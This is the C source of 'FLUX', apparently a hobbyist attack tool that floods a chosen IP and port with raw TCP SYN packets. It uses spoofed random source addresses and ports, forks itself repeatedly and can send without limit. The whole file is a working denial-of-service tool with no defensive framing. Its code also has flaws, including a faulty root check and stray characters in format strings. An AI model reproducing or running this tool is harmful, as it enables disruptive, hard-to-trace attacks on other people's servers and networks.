FLUX.c

#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>

void usage();
void getUserPriv();
int getSrcPort();
const char credit[] = "made by th3 $^N|)M^N, gr33tz to all!!!";
struct packet {
    unsigned short ihl: 4;
    unsigned short ver: 4;
    unsigned char tos;
    unsigned short len;
    unsigned short id;
    unsigned short flag_offset;
    unsigned char ttl;
    unsigned char prot;
    unsigned short ipsum;
    unsigned long source;
    unsigned long dest;
    unsigned short sport;
    unsigned short dport;
    unsigned long seq;
    unsigned long ack_seq;
    unsigned char offset;
    unsigned char flags;
    unsigned short win;
    unsigned short tcpsum;
    unsigned short urgptr;
    char option[8];
};

FILE * fp;

main(int argc, char * argv[]) {
    getUserPriv(); //check user priv 

    if (argc < 5) {
        usage(); //exit if argument failure 
    }
    int tmp = 1;
    int forks = atoi(argv[3]);

    /*forks defined here, depends on the number of threads user asked for.*/
    for (tmp = 0; tmp < forks; tmp++) fork();

    int a1, a2, a3, a4;
    char a1s[20], a2s[20], a3s[20], a4s[20];

    /*lets open da socket and define it be raw*/
    int sockd = socket(PF_INET, SOCK_RAW, 6);

    /*call HDRINCL and let the kernel know we do the talking :)*/
    if (setsockopt(sockd, IPPROTO_IP, IP_HDRINCL, (char * ) & tmp, sizeof(tmp)) < 0) {
        printf("Error in setting HDRINCL");
        exit(0);
    }

    /*create packet struct */
    struct packet synp;
    bzero( & synp, sizeof(struct packet)); /*zero out the struct*/

    /*init sin struct*/
    struct sockaddr_in sin;

    /*take host port and convert to unsigned short*/
    unsigned short hport = atoi(argv[2]);
    int packets = atoi(argv[4]); //number of packets 

    if (packets == 0) packets = -1; //if user wants infinite, set packets to -1 

    int counter = 0; //counter for the while loop. 

    printf("Syn Flooding: %­s at port: %­s\n", argv[1], argv[2]);

    while (counter != packets) {
        synp.ihl = 5;
        synp.ver = 4;
        synp.len = htons(sizeof(struct packet));
        synp.flag_offset = 0;
        synp.prot = 6;
        synp.flags = 2;
        synp.ttl = 225;
        synp.offset = 112;
        synp.win = htons(65535);

        synp.dport = htons(hport); //destination port... 

        //set packet options. 
        synp.option[0] = 2;
        synp.option[1] = 4;
        synp.option[2] = 5;
        synp.option[3] = 0xB4;
        synp.option[4] = 1;
        synp.option[5] = 1;
        synp.option[6] = 4;
        synp.option[7] = 2;

        synp.tcpsum = 0; //zero the sum for now... 

        register int count = (sizeof(struct packet) - 20) >> 1, sum;
        register unsigned short * p = & synp.sport;

        int srcp = getSrcPort(); //generate random port. 

        //Generate Random Ip for src 
        a1 = (int)((rand() % (255 - 10 + 1)) + 10);
        a2 = (int)((rand() % (255 - 10 + 1)) + 10);
        a3 = (int)((rand() % (255 - 10 + 1)) + 10);
        a4 = (int)((rand() % (255 - 10 + 1)) + 10);

        sprintf(a1s, "%d", a1);
        sprintf(a2s, "%d", a2);
        sprintf(a3s, "%d", a3);
        sprintf(a4s, "%d", a4);

        strcat(a1s, ".");
        strcat(a2s, ".");
        strcat(a3s, ".");
        strcat(a1s, a2s);
        strcat(a1s, a3s);
        strcat(a1s, a4s);
        // 

        synp.sport = htons(srcp); //source port [RANDOMIZED] 
        synp.source = inet_addr(a1s); //our source address [RANDOMIZED] 
        synp.seq = random();
        synp.ack_seq = random();

        synp.id = htons(1 + 255 * ((random() % 256) | 0xFF)); //random id 

        synp.dest = inet_addr(argv[1]);

        sin.sin_family = AF_INET; /*define internet domain*/
        sin.sin_port = synp.dport; /*define dest port.*/
        sin.sin_addr.s_addr = synp.dest; /*define host address*/

        /*calc header checksum*/
        sum = (synp.source >> 16) + (synp.source & 0xffff) + (synp.dest >> 16) +
            (synp.dest & 0xffff) + 1536 + htons(count << 1);
        while (count--) sum += * p++;
        sum = (sum >> 16) + (sum & 0xffff);
        synp.tcpsum = ~(sum += (sum >> 16));
        // 

        /*Send da baby*/
        if (sendto(sockd, & synp, sizeof(struct packet), 0, (struct sockaddr * ) & sin, sizeof(struct sockaddr_in)) < 0) {
            printf("Sendto error!");
            exit(0);
        }

        counter = counter + 1;
    }
}

/*usage func*/
void usage() {
    printf("Usage:\n");
    printf("./flux ip port threads amount_of_packets(0 = max)\n");
    printf("./flux 111.222.333.444 80 3 500\n");
    exit(0);
}

/*user priv func, just checking for root.*/
void getUserPriv() {
    char command[80] = "whoami > priv";
    char command2[80] = "rm priv";
    char fname[30] = "priv";
    char user[20];
    system(command);

    fp = fopen(fname, "r");
    fscanf(fp, "%­s", & user);
    fclose(fp);
    system(command2);

    if (strcmp(user, "root") == 1) {
        printf("Need root privelages to run...\n");
        exit(0);
    }
}
/*random port generator func. */
int getSrcPort() {
    int port = (rand() % (60000 - 2000 + 1)) + 2000;
    return port;
}